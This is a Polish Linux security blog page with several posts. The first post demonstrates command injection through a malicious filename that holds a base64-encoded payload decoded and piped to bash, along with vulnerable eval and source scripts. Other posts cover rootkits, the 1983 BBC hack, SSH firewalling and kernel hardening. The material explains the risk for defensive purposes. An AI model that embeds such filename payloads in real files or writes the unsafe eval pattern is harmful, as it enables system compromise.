NFsec Logo

Szkodliwe polecenia ukryte w nazwie pliku

29/08/2025 (2 tygodnie temu) w Ataki Internetowe, Bezpieczeństwo Możliwość komentowania Szkodliwe polecenia ukryte w nazwie pliku została wyłączona

O

statnio firma Trellix trafiła na ciekawy atak wymierzony w system Linux. Ponownie tyczy się on metadanych pliku, a dokładniej jego nazwy. Ze względu na fakt, że programy antywirusowe zazwyczaj nie analizują nazw plików atakujący postanowili umieścić w nim polecenia powłoki, aby ściągnąć i uruchomić kolejną fazę ataku. Dzięki prostemu wykorzystaniu techniki wstrzyknięcia polecenia do powłoki (ang. shell command injection) atakujący może zamienić operację na nazwie pliku w automatyczny wyzwalacz wykonania pierwszej fazy infekcji złośliwym oprogramowaniem. Technika ta nadużywa bardzo powszechnego i niebezpiecznego wzorca w wielu skryptach powłoki systemu Linux, a mianowicie: analizę lub wyświetlanie nazw plików bez ich sanitacji (procesu oczyszczania danych wejściowych z potencjalnie niebezpiecznych elementów). Z pozoru nieszkodliwe polecenie, takie jak eval lub source niepoprawnie użyte w skrypcie może nagle stać się wyzwalaczem dla pełnej kompromitacji systemu. Na początku zakodujmy w Base64 nasz własny ładunek, który będzie mógł zostać bezpiecznie wykonany na demonstracyjnym systemie:

agresor@darkstar:~$ base64 <<< 'touch /tmp/payload_executed'
dG91Y2ggL3RtcC9wYXlsb2FkX2V4ZWN1dGVkCg==

Następnie tworzymy plik zawierający w nazwie szkodliwe polecenia:

touch 'malware.pdf`{echo,dG91Y2ggL3RtcC9wYXlsb2FkX2V4ZWN1dGVkCg==}|{base64,-d}|bash`'

Po frazie malware.pdf następuje składnia, która może być interpretowana przez powłokę: {echo,...} - przekazuje ładunek w formacie Base64 do standardowego wyjścia; {base64,-d} - dekoduje ładunek; |bash - zdekodowany ładunek w postaci polecenia lub poleceń zostaje przekazany przez potok do wykonania w powłoce. Teraz już wiemy dlaczego jego nazwa może działać jako wyzwalacz ładunku. Plik z taką nazwą może zostać przetworzony bez wiedzy użytkownika przez źle skonstruowany skrypt powłoki (np. w celu zautomatyzowania prostych czynności) tym samym dyskretnie wykonać złośliwy kod. Przykład:

agresor@darkstar:~$ ls
execute_file1.sh
execute_file2.sh
'malware.pdf`{echo,dG91Y2ggL3RtcC9wYXlsb2FkX2V4ZWN1dGVkCg==}|{base64,-d}|bash`'

agresor@darkstar:~$ cat execute_file1.sh
#!/bin/bash
filename=$1
echo "Processing file: $filename"
# trigger1
eval "echo $filename"

agresor@darkstar:~$ cat execute_file2.sh
#!/bin/bash
filename=$1
echo "Processing file: $filename"
# trigger2
source <(echo "$filename")

agresor@darkstar:~$ ls /tmp

Jeśli wykonamy teraz dowolny skrypt z nieprzemyślaną składnią poleceń (eval / source) to ładunek z nazwy pliku zostanie wykonany:

agresor@darkstar:~$ ./execute_file1.sh malware.pdf\`\{echo\,...}\|\{base64\,-d\}\|bash\`
Processing file: malware.pdf`{echo,dG91Y2ggL3RtcC9...X2V4ZWN1dGVkCg==}|{base64,-d}|bash`
malware.pdf

agresor@darkstar:~$ ls /tmp
payload_executed 

agresor@darkstar:~$ rm /tmp/payload_executed

agresor@darkstar:~$ ./execute_file2.sh malware.pdf\`\{echo\,...}\|\{base64\,-d\}\|bash\`
Processing file: malware.pdf`{echo,dG91Y2ggL3RtcC9...X2V4ZWN1dGVkCg==}|{base64,-d}|bash`
/dev/fd/63: line 1: malware.pdf: command not found

agresor@darkstar:~$ ls /tmp
payload_executed

Technika ta pokazuje, jak wektory o niskiej złożoności mogą prowadzić do poważnych zagrożeń w połączeniu z prostą logiką powłoki poleceń. Nawet w systemie Linux nieprzemyślane procesowanie nazw plików może zostać wykorzystane do wykonania (wstrzyknięcia) poleceń, które nie są częścią oryginalnego skryptu lub zaplanowanego zadania.

Więcej informacji: The Silent, Fileless Threat of VShell

io_uring jako kolejne wejście dla szkodliwego oprogramowania

21/08/2025 (3 tygodnie temu) w Bezpieczeństwo Możliwość komentowania io_uring jako kolejne wejście dla szkodliwego oprogramowania została wyłączona

I

o_uring jest stosunkowo nowym (wprowadzonym w marcu 2019 roku do jądra 5.1), wysoce wydajnym interfejsem do asynchronicznych operacji wejścia / wyjścia (I/O). Stał się odpowiedzią na brak dobrej i łatwej obsługi wielu jednoczesnych operacji I/O w systemie Linux. Jego zaletą jest możliwość pominięcia „kosztownych” wywołań systemowych (ang. syscalls). Zamiast tradycyjnego modelu, w którym aplikacja musi ciągle „pytać” jądro systemu o status swoich operacji (np. odczyt pliku) io_uring używa dwóch współdzielonych buforów pierścieniowych (stąd jego nazwa). Pierwszy z nich: Submission Queue (SQ) – to kolejka, do której aplikacja wrzuca zadania do wykonania przez jądro. Druga: Completion Queue (CQ) – to kolejna, w której jądro umieszcza wyniki zakończonych zadań. Dzięki temu aplikacja może wysłać całą serię zadań naraz i zostać poinformowana o ich zakończeniu, minimalizując kosztowne przełączanie kontekstu między trybem użytkownika (ang. user space), a trybem jądra (ang. kernel space).
[ czytaj całość… ]

Incydent w telewizji BBC podczas programu Making the Most of the Micro

14/08/2025 (4 tygodnie temu) w Hackultura Możliwość komentowania Incydent w telewizji BBC podczas programu Making the Most of the Micro została wyłączona

2

października 1983 roku podczas specjalnego programu telewizjnego kręconego na żywo pt. „Making the Most of the Micro – Live!” w BBC1 (ang. British Broadcasting Corporation) doszło do incydentu związanego z bezpieczeństwem komputerowym. W trakcie programu prowadzący John Coll i Ian McMcNaught-Davis chcieli zademonstrować, jak podłączyć się z usługą poczty elektroczninej (e-mail) British Telecom Gold za pomocą zwykłego modemu. Niestety krótko przed emisją kierownik sali podał hasło do konta jednemu z prowadzących podczas, gdy jego mikrofon był włączony. Wykorzystali to goście programu, którzy znajdowali się w poczekalni. Skontaktowali się telefocznie ze znajomym hackerem i przekazali mu podsłyszane hasło. Hackerzy pod pseudonimami „Oz” i „Yug” wykorzystali tę informację, aby zalogować się szybciej na konto programu. W trakcie demonstracji przez prowadzących na ekranie komputera pojawiła się ich wiadomość, w której w zabawny sposób wytknęli błąd w zabezpieczeniach:

Computer Security error. Illegal access
I hope your Television PROGRAMME runs
as smoothly as my PROGRAM worked out
your passwords!   Nothing is secure!

    Hackers' Song.

"Put another password in,
Bomb it out and try again,
Try to get past logging in,
we're Hacking, Hacking, Hacking...

Try his fist wife's maiden name,
This is more than just a game.
It's real fun, but just the same,
It's Hacking, Hacking, Hacking!"

    -   The NutCracker.
       ( Hackers' U.K. )

<
*** ACN019 (41) on SYS81  12:08
HI THERE OWLETS, FROM OZ AND YUG (OLIVER AND GUY)!

Pomimo włamania do systemu nie zostały wyrządzone żadne szkody i demonstracja mogła być kontynuowana bez zakłóceń. Celem tego incydentu było jedynie pokazanie, że żadne systemy nie są w pełni bezpieczne. Sam program „na żywo” był dwurazowym wydarzeniem zorganizowanym w odpowiedzi na „masowe zainteresowanie” widzów po pierwszych seriach cyklicznego programu „Making the Most of the Micro” (będącego częścią większego projektu edukacyjnego Computer Literacy Project działającego w latach 1980-1989 w Wielkiej Brytanii). Dlatego wydarzenie z pierwszej części odbiło się bardzo szerokim echem i przyczyniło się do wzrostu zainteresowania tematyką hackerów i bezpieczeństwa komputerowego. W drugiej części tego specjalnego programu Live nie omieszkano poruszyć zagadnień bezpieczeństwa haseł, a nawet pokazano jak hacker 'David’ włamuje się na żywo do innego komputera. Choć incydent na antenie BBC nie był wynikiem skomplikowanego ataku technicznego, lecz prostego błędu ludzkiego (i słabego, dwuliterowego hasła) to przeszedł do historii jako jeden z pierwszych transmitowanych na żywo przykładów hackingu.

Więcej informacji: The NutCracker Song, 1983: The BBC is HACKED Live On Air | Micro Live | Retro Tech | BBC Archive, Micro Live, MTMOTM Live Special

Linux rootkits – wykrywanie ukrytych plików i katalogów

08/08/2025 w Bezpieczeństwo Możliwość komentowania Linux rootkits – wykrywanie ukrytych plików i katalogów została wyłączona

O

programownie typu rootkit stanowi klasę złośliwego oprogramowania (ang. malware), które zostało zaprojektowane w celu zapewnienia ukrytego, trwałego i uprzywilejowanego dostępu do skompromitowanego systemu. Jako post-eksploatacyjne narzędzie (stanowiące końcowy wektor ataku) zazwyczaj uzbrojone jest w funkcje umożliwiające: persystencję działania; eksfiltrację danych; eskalację uprawnień; ukrywanie swoich złośliwych komponentów pod postacią procesów, połączeń sieciowych, a przede wszystkim plików i katalogów. Ukrywanie plików i katalogów odbywa się poprzez modyfikację funkcji jądra systemu odpowiedzialnych za wyświetlanie listy plików i informacji o nich. Zamiast tworzyć i usuwać pliki (co byłoby łatwe do wykrycia) rootkit zmienia sposób, w jaki system „widzi” i raportuje posiadane pliki.
[ czytaj całość… ]

Używanie attr w Linuksie jak rasowe APT

22/07/2025 w Bezpieczeństwo Możliwość komentowania Używanie attr w Linuksie jak rasowe APT została wyłączona

N

ie tak dawno omawialiśmy używanie xattr w macOS. Tym razem czeka nas mała demonstracja, jak podobny scenariusz może zostać wykorzystany w systemie Linux za pomocą pakietu attr. Odpowiada on za dostarczenie narzędzi (setfattr / getfattr) służących do manipulowania rozszerzonymi atrybutami systemu plików typu XFS, EXT4 oraz BTRFS. Umożliwiają one tworzenie własnych, dowolnych atrybutów plików, które możemy traktować jako „tagi” w podobny sposób, w jaki używamy metadanych EXIF dla zdjęć. Podczas gdy programiści mogą używać rozszerzonych atrybutów do rozwijania niestandardowych funkcji aplikacji, atakujący mogą je wykorzystywać do ukrywania szkodliwych ładunków.
[ czytaj całość… ]

Ograniczenie SSH do konkretnego portu źródłowego klienta

17/07/2025 w Administracja, Bezpieczeństwo Możliwość komentowania Ograniczenie SSH do konkretnego portu źródłowego klienta została wyłączona

N

aszym zadaniem jest wystawienie usługi SSH do internetu, ale nie chcemy by ktoś oprócz naszej wiedzy tajemnej mógł się do niej połączyć. Nie będziemy używali rozwiązań typu VPN, port knocking, czy zmiany portu nasłuchu z 22 na inny. Secure Shell będzie nasłuchiwać na standardowym porcie i umożliwiała połączenie z dowolnego adresu IP. Jedynym warunkiem, jaki musi spełnić klient SSH to nawiązanie połączenia z konkretnego, tylko nam znanego portu źródłowego – w przeciwnym wypadku firewall nie dopuści do połączenia:

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 --sport 31337 -m state --state NEW -j ACCEPT
iptables -A INPUT -j DROP

Jeśli spróbujemy teraz połączyć się ze standardowej puli źródłowych portów (1024:65535) klientem SSH – nasze połączenie zostanie odrzucone:

heavyarms:~ agresor$ ssh 192.168.254.2 -v
OpenSSH_9.9p2, LibreSSL 3.3.6
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 21: include /etc/ssh/ssh_config.d/* matched no files
debug1: /etc/ssh/ssh_config line 54: Applying options for *
debug1: Authenticator provider $SSH_SK_PROVIDER did not resolve; disabling
debug1: Connecting to 192.168.254.2 [192.168.254.2] port 22.

Zupełnie inaczej będzie to wyglądało kiedy wykorzystamy opcję klienta SSH o nazwie ProxyCommand, która wykorzysta pośrednie połączenie przez program netcat, który będzie miał ustawiony port źródłowy połączenia na stały numer 31337:

heavyarms:~ agresor$ ssh -o ProxyCommand="nc -p 31337 %h %p" 192.168.254.2 -v
OpenSSH_9.9p2, LibreSSL 3.3.6
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 21: include /etc/ssh/ssh_config.d/* matched no files
debug1: /etc/ssh/ssh_config line 54: Applying options for *
debug1: Authenticator provider $SSH_SK_PROVIDER did not resolve; disabling
debug1: Executing proxy command: exec nc -p 31337 192.168.254.2 22
debug1: Next authentication method: password
agresor@192.168.254.2's password:

Ten prosty mechanizm Security Through Obscurity pozwala nam na zdalny dostęp do serwera z dowolnego adresu IP jednocześnie trzymając zautomatyzowane boty atakujące SSH z daleka.

Więcej informacji: How can I set the source port for an SSH command-line client?, How does SSH’s ProxyCommand actually work?

Wyłączenie ładowania niepodpisanych modułów

11/06/2025 w Bezpieczeństwo Możliwość komentowania Wyłączenie ładowania niepodpisanych modułów została wyłączona

M

oduły dostarczane przez dystrybucyjne jądra pochodzą z ich kodu źródłowego. Powstają one podczas procesu kompilacji jądra, a narzędzia towarzyszące przy tej operacji tworzą parę autowygenerowanych kluczy (prywatny / publiczny) i podpisują każdy moduł powstający z drzewa kodu źródłowego jądra (używając klucza prywatnego). Klucz publiczny jest zapisywany w samym jądrze systemu. Gdy moduł dostarczony z jądrem jest ładowany w systemie, klucz publiczny może zostać użyty do sprawdzenia, czy moduł pozostał niezmieniony i pochodzi z pierwotnego drzewa kodu źródłowego. Podczas uruchamiania systemu możemy poinstruować jądro, aby zawsze weryfikowało moduły i raportowało wszelkie niepowodzenia ładowania modułów „spoza drzewa” do logów, ponieważ gdy „wymusimy” obsługę tylko podpisanych modułów jądra – system Linux będzie ładować tylko moduły podpisane cyfrowo wcześniej autowygenerowanym kluczem.
[ czytaj całość… ]

Fałszywy rozmiar pliku /var/log/lastlog

19/05/2025 w Administracja, Debug Możliwość komentowania Fałszywy rozmiar pliku /var/log/lastlog została wyłączona

P

lik lastlog, znajdujący się w ścieżce /var/log/lastlog, jest plikiem typu „niegęstego” (ang. sparse file), który próbuje wykorzystać przestrzeń systemu plików bardziej efektywnie, gdy sam plik jest częściowo pusty. Osiąga się to poprzez zapisywanie krótkich informacji (metadanych) reprezentujących puste bloki na nośniku danych zamiast rzeczywistej „pustej” przestrzeni, która tworzy blok, zużywając w ten sposób mniej miejsca. Pełny blok jest zapisywany na nośniku jako rzeczywisty rozmiar tylko wtedy, gdy blok zawiera „rzeczywiste” (niepuste) dane. Dla codziennego użytkowania systemu Linux oznacza to, że jego zgłaszany rozmiar (np. przez polecenie ls) może być znacznie większy niż rzeczywista przestrzeń, jaką zajmuje na dysku.
[ czytaj całość… ]

Tryb blokady dla jądra systemu Linux

19/04/2025 w Bezpieczeństwo Możliwość komentowania Tryb blokady dla jądra systemu Linux została wyłączona

O

d wersji jądra 5.14 został wprowadzony zestaw poprawek dający systemowi Linux opcjonalną blokadę jądra mającą na celu wzmocnienie granicy między prawami administracyjnymi, a jądrem. Po jej włączeniu różne elementy funkcjonalności jądra (w tym nisko poziomowy dostęp do sprzętu) są ograniczone dla różnych programów. Większość głównych dystrybucji Linuksa zawiera już zestaw tych poprawek pod postacią zaczepu (ang. hook) do Linux Security Modules (LSM), czyli programowalnego szkieletu do implementacji polityk bezpieczeństwa (ang. security policies) i obowiązkowej kontroli dostępu (ang. Mandatory Access Control) w jądrze systemu. Lockdown LSM zapewnia prostą implementację poziomu blokady jądra za pomocą wiersza poleceń jądra lub pseudo systemowi plików sysfs. Listę aktywnych modułów bezpieczeństwa w LSM można znaleźć odczytując plik: /sys/kernel/security/lsm. Jest to lista rozdzielona przecinkami, odzwierciedlająca kolejność, w jakiej przeprowadzane są sprawdzenia modułów.
[ czytaj całość… ]

Unikalne linie z dwóch plików w języku Python

06/04/2025 w Hacks & Scripts Możliwość komentowania Unikalne linie z dwóch plików w języku Python została wyłączona

Powrównując różne dane w języku Python, ze względu na wydajność najlepiej użyć do tego zbiorów. Zbiory są zaimplementowane przy użyciu tablic mieszających. Za każdym razem, gdy dodajemy obiekt do zbioru, pozycja w pamięci obiektu zbioru jest określana przy użyciu funkcji skrótu obiektu, który ma zostać dodany. Podczas testowania przynależności obiektu, wszystko co należy zrobić, to sprawdzić, czy obiekt znajduje się na pozycji określonej przez jego funkcję skrótu (ang. hash) – dlatego szybkość tej operacji nie zależy od rozmiaru zestawu danych. W przypadku list jest odwrotnie – cała lista musi zostać przeszukana, co stanie się wolniejsze wraz ze wzrostem tej listy. Przykładem może być szukanie unikalnych linii występujących w pierwszym pliku w porównaniu z drugim plikiem:

#!/usr/bin/env python3

import argparse

def uniq_lines(file1, file2, file3):
    try:
        with open(file1, 'r') as f1, open(file2, 'r') as f2, open(file3, 'w') as f3:
            file2_lines = set(line.strip() for line in f2)
            print(file2_lines)
            for line in f1:
                if line.strip() not in file2_lines:
                    f3.write(line)
    except FileNotFoundError:
        print('Error: One of the files was not found.')
    except IOError:
        print('Error: An I/O error occurred while reading the files.')
    print(f'Unique lines from {file1} compared with {file2} written to {file3}.')

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        prog='UniqLines.py',
        description='Compare two files and write unique lines to a third file.')
    parser.add_argument('file1', help='The first file.')
    parser.add_argument('file2', help='The second file.')
    parser.add_argument('file3', help='The third file to write unique lines to.')
    args = parser.parse_args()
    uniq_lines(args.file1, args.file2, args.file3)

Wszystkie unikalne linie zapisywane są do trzeciego pliku.